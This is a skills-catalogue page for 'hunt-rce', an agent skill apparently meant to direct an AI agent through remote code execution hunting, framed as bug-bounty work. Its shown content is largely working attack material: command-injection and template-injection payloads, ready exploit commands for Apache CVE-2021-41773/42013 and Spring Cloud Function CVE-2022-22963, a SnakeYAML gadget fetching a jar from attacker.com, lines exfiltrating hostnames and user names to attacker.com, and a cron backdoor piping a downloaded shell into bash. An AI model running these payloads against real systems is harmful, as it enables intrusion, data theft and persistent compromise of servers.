hunt-rce
Hunting skill for rce vulnerabilities. Built from 67 public bug bounty reports
Install / Use
npx skills add elementalsouls/Claude-BugHunter --skill hunt-rceInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
MarketingSupported Platforms
Our assessment of hunt-rce
hunt-rce scores 93/100 on our quality scale, 48th of 254 Marketing skills we index (top 19%).
Its SKILL.md is 29 KB long, well organised into 78 sections with 25 code examples: a thorough specification that gives an agent plenty to work with.
With 4,669 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated today, so hunt-rce is actively maintained.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
ReviewOur scan of the whole file found 1 pattern worth reviewing before you install hunt-rce.
- mediumSends the output of a local command to a remote serverline 173
- Confirm with `curl -s http://target:8080/uppercase -H "Content-Type: text/plain" --data-binary "test"` → returns `TEST` - noteInstalls by piping a downloaded script into a shellline 238
* * * * * root curl http://attacker.com/shell | bash - noteInstalls by piping a downloaded script into a shellline 437
…*C.** Stack a query: `'; COPY users FROM PROGRAM 'curl http://attacker/x.sh | bash'; --` → Postgres shells out to `/bin/sh -c <attacker comm…
Automated pattern scan on 2026-09-27. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
hunt-rce compared with similar skills
All 4 of these similar skills score higher than hunt-rce; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| hunt-rce (this skill)by elementalsouls | 93 | 4.7k | today | SKILL.md |
| Agent-Reachby Panniantong | 100 | 85.6k | 11d ago | CLAUDE.md |
| algorithmic-artby anthropics | 100 | 177.9k | 4d ago | SKILL.md |
| pptxby anthropics | 100 | 177.9k | 4d ago | SKILL.md |
| designby nextlevelbuilder | 100 | 130.2k | 5d ago | SKILL.md |
Frequently asked questions
- How do I install hunt-rce?
- Run
npx skills add elementalsouls/Claude-BugHunter --skill hunt-rce. The install tabs above show the steps for each supported agent. - Which AI agents does hunt-rce work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is hunt-rce safe to use?
- Our scan of the whole file found 1 pattern worth reviewing before you install hunt-rce. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is hunt-rce still maintained?
- The repository was last updated today, so hunt-rce is actively maintained.
Skill content
View source on GitHubname: hunt-rce description: Hunting skill for rce vulnerabilities. Built from 67 public bug bounty reports. Use when hunting rce on any target. sources: github, hackerone_public report_count: 87
Autonomous Testing Priority
Content-type is the #1 silent failure mode for command injection.
Traditional web forms use Content-Type: application/x-www-form-urlencoded. If you send a JSON body ({"host":"127.0.0.1;id"}) to a form endpoint, the server reads request.form['host'] and gets nothing — the app executes normally with no injection, returning a plausible 200 response. You get a false negative with no indication anything went wrong.
Rule: If the page has an HTML form (<form method="POST">), use form-encoding. If the path is /api/... or the response is JSON, use JSON.
Command injection operators to try (in order of prevalence):
value;id ← Unix semicolon (most common)
value|id ← pipe
value&&id ← AND
value$(id) ← subshell
value`id` ← backtick
Proof: OS command output (uid=N(username) gid=...) in the response body confirms code execution. The output may be HTML-wrapped — that still counts. If the response is otherwise normal (200, expected content) with the command output appended or embedded, exploitation is confirmed.
Crown Jewel Targets
RCE vulnerabilities command the highest payouts in bug bounty programs because they grant attackers direct execution control over target infrastructure. The highest-value targets are:
Highest-paying asset types:
- Enterprise server products (GitHub Enterprise Server, self-hosted GitLab) — privilege escalation chains from low-privileged console roles to root SSH access consistently pay critical/high
- Supply chain / package registries — dependency confusion attacks against npm, PyPI, etc. hit critical severity across every major program
- Cloud-native infrastructure — exposed Kubernetes API servers, ingress controllers, and misconfiqured CI/CD pipelines
- Mobile app backends and OAuth flows — where server-side processing of attacker-controlled data meets execution contexts
- Admin/management consoles — template injection in configuration panels reaches root with a single payload
Why this class pays most:
- Blast radius is infrastructure-wide, not user-scoped
- Proof-of-concept is unambiguous — shell output is undeniable
- Fix requires architectural changes, not just a patch
- Programs cannot afford false negatives on RCE
Attack Surface Signals
URL Patterns
/management-console/*
/admin/settings/*
/api/v*/exec
/api/v*/run
/webhook/*
/_internal/*
/import?url=
/render?template=
/preview?format=
Response Headers / Tech Stack Signals
X-Powered-By: Express # Node.js — npm dependency surface
X-Powered-By: Phusion Passenger
Server: nginx (ingress-nginx) # Kubernetes ingress — path field injection
X-Runtime: Ruby # Rails ActiveStorage, RDoc, REXML attack surface
Content-Type: application/yaml # YAML parsers (SnakeYAML, Psych) — deserialization
X-GitHub-Enterprise-Version # GHAS — nomad template, collectd, syslog-ng injection
JavaScript / Frontend Signals
// Look for these patterns in JS bundles
fetch('/api/exec', {method:'POST', body: cmd})
eval(userInput)
new Function(userInput)
document.write(unsafeData)
window.location = userControlled // URL scheme bypass → JS execution
Tech Stack Signals
| Signal | RCE Vector |
|--------|-----------|
| nomad in config UI | Template injection → {{ ... }} |
| syslog-ng config editable | Config injection → program() destination |
| collectd config editable | Plugin exec injection |
| SnakeYAML in classpath | !!javax.script.ScriptEngineManager [...] |
| npm package.json internal scope | Dependency confusion |
| ingress-nginx annotations | Path field regex bypass |
Step-by-Step Hunting Methodology
-
Map the execution contexts first. Before testing payloads, identify everywhere user-controlled input touches an execution layer: template engines, shell commands, YAML parsers, file paths used in operations, package resolution, and configuration files.
-
Enumerate admin/management interfaces. Crawl for
/management-console,/admin,/_internal,/setup,/config. These surfaces are lower-auth and higher-privilege — the GHES cluster produced 6 separate RCEs from one console role. -
Check template injection in every config field. In any management UI that accepts free-form configuration (log destinations, notification formats, proxy settings), submit
{{7*7}},${7*7},<%= 7*7 %>. Look for49in responses, logs, or DNS callbacks. -
Test YAML/XML/serialized input for code execution. Any endpoint accepting
Content-Type: application/yamlorapplication/xml:- SnakeYAML: submit
!!javax.script.ScriptEngineManagergadget - Ruby YAML: submit
!ruby/object:Gem::Installergadget - REXML: submit billion-laughs / quadratic blowup XML
- SnakeYAML: submit
-
Hunt dependency confusion. For every npm/pip/gem internal package name visible in JS bundles, error messages, or
package.jsonin public repos — register a higher-versioned package on the public registry pointing to a canary callback. -
Check file path operations for traversal → execution. ActiveStorage, file upload handlers, symlink operations: submit
../../../etc/cron.d/shellas filename. Confirm write then trigger execution. -
Audit Kubernetes/cloud-native surfaces. Run
kubectlagainst any exposed API server. Check ingress annotations, especiallynginx.ingress.kubernetes.io/configuration-snippetandspec.rules.http.paths.pathfor Lua/regex injection. -
Test OAuth redirect URI and URL scheme handlers. Mobile apps processing
javascript:orintent://URIs via OAuth redirect may execute JavaScript. Tryjavascript:alert(document.cookie)and custom scheme URIs. -
Verify with out-of-band callbacks. Never rely solely on visible output. Use Burp Collaborator, interactsh, or
canarytokens.orgDNS tokens. Blind RCE is common in backend processors. -
Chain privileges. A low-severity misconfiguration (editor role, CSRF, path traversal) combined with an RCE primitive equals critical. Always ask: "what can I reach from here?"
Payload & Detection Patterns
Template Injection Probes
# Generic polyglot — works across Jinja2, Twig, Freemarker, Pebble, Velocity
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}
{{'7'*7}}
{{config}}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}
# Nomad template injection (Go text/template)
{{ env "NOMAD_SECRET_ID" }}
{{ with secret "secret/data/prod" }}{{ .Data.password }}{{ end }}
{{ runscript "id" }}
Apache HTTP Server alias path traversal (CVE-2021-41773 / CVE-2021-42013)
Path normalization bug in Apache 2.4.49 (and the 2.4.50 patch-bypass) lets an attacker escape DocumentRoot via dot-encoded segments through configured alias paths. The same primitive yields very different impact depending on which alias accepts the traversal:
- Alias without
Options +ExecCGI(e.g./icons/) → arbitrary file read only - Alias with
Options +ExecCGI(e.g./cgi-bin/) → arbitrary code execution
Version fingerprint:
curl -sI http://target/ | grep -i "Server:"
# Vulnerable: Apache/2.4.49 (CVE-2021-41773) or Apache/2.4.50 (CVE-2021-42013)
# Patched: Apache/2.4.51+
File-read test (any alias):
curl --path-as-is "http://target/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
# Note: --path-as-is is REQUIRED — curl normalizes %2e by default
RCE test (cgi-enabled alias only):
curl --path-as-is -X POST \
-d "echo Content-Type: text/plain; echo; id; uname -a; hostname" \
"http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
Triage discipline note: when the same path-traversal primitive works on multiple aliases but only one is CGI-enabled, the maximum impact is the severity — not the average. A "file read" finding on /icons/ should always be escalated by re-probing /cgi-bin/ (and any other alias visible from <Directory> blocks in the server-info disclosure or response patterns). See triage-validation Pre-Severity Gate.
Spring Cloud Function SpEL injection (CVE-2022-22963)
Spring Cloud Function ≤ 3.2.2 (and ≤ 3.1.6) evaluates the spring.cloud.function.routing-expression header as a SpEL expression on the /functionRouter endpoint without auth, before any routing logic. Wide deployment in AWS Lambda + Cloud Run + on-prem function platforms. Often exposed externally because /functionRouter auto-registers and devs don't add an explicit gate.
Detection:
- Spring-style port 8080 with
/uppercase,/lowercase, or arbitrary single-word function endpoints responding 200 - Confirm with
curl -s http://target:8080/uppercase -H "Content-Type: text/plain" --data-binary "test"→ returnsTEST - Version banner via
/actuator/infoor response headers
Exploit:
curl -X POST http://target:8080/functionRouter \
-H "Content-Type: text/plain" \
-H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' \
--data "x"
The new String[]{"...", "..."} array form avoids shell-quoting issues that break the more common .exec("id") form when the SpEL header contains parentheses or quotes.
Generalizes to: any Spring application that takes user input into a SpelExpressionParser.parseExpression() call, especially when delivered via header / query-param routes that bypass normal auth filters. See hunt-ssti for the broader SpEL fingerprinting (*{7*7} = Spring Thymeleaf).
SnakeYAML RCE Gadget
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker.com/exploit.jar"]
]]
]
Ruby YAML / rdoc_options RCE
--- !ruby/object:Gem::Installer
i: x
Dependency Confusion Detection
# Find internal package names
grep -r '"name"' node_modules/ | grep '@internal\|@company\|@private'
# Check if public registry has higher version
npm view @target-company/internal-package version 2>/dev/null
Ingress-nginx Path Injection
# In spec.rules.http.paths.path
/something)(;.*);#
# Results in nginx config injection
Kubernetes Exposed API Check
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods \
-H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
kubectl --insecure-skip-tls-verify -s https://TARGET:6443 get pods --all-namespaces
Out-of-Band RCE Confirmation
# Payload to confirm blind RCE via DNS
curl "http://$(id | base64).YOUR-INTERACTSH-URL/"
nslookup $(whoami).attacker.com
wget http://attacker.com/$(cat /etc/hostname)
ActiveStorage Path Traversal → RCE
# Filename in upload request
filename="../../../../etc/cron.d/backdoor"
# Cron payload content
* * * * * root curl http://attacker.com/shell | bash
Args4j @-prefix file expansion (Jenkins CVE-2024-23897 family)
Java CLIs built on the args4j library default to expandAtFiles=true, which expands @filename arguments by reading the file and treating each line as a separate command argument. When such a CLI is exposed over HTTP (Jenkins CLI is the canonical case), the server-side error message echoes failed arguments back — turning argument echoing into an arbitrary file-read primitive. Unauthenticated when "anonymous read access" is on (Jenkins default for fresh installs).
Detection:
- Target exposes
/cliand/jnlpJars/jenkins-cli.jar(Jenkins family) - Or: any Java app whose CLI source uses args4j without
expandAtFiles=false
Test (Jenkins):
# Get the legit CLI jar from the target
curl -sLO http://target:8080/jnlpJars/jenkins-cli.jar
# First line of file leaks via 'help' error
java -jar jenkins-cli.jar -s http://target:8080/ -http
Truncated for display — read the full file on GitHub.
Related Skills
Agent-Reach
85.6kGive your AI agent eyes to see the entire internet. Read & search Twitter, Reddit, YouTube, GitHub, Bilibili, XiaoHongShu — one CLI, zero API fees.
algorithmic-art
177.9kCreating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems.
pptx
177.9kUse this skill any time a .pptx or .potx file is involved in any way — as input, output, or both. This includes: creating slide decks, pitch decks, or presentations; reading, parsing, or extracting text from any .pptx or .potx file (even if the extracted content will be used elsewhere, like in an em…
design
130.2kComprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini, Atlas Cloud, or MuAPI AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social/ads/web/print), icon design (15 styles, SVG…
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
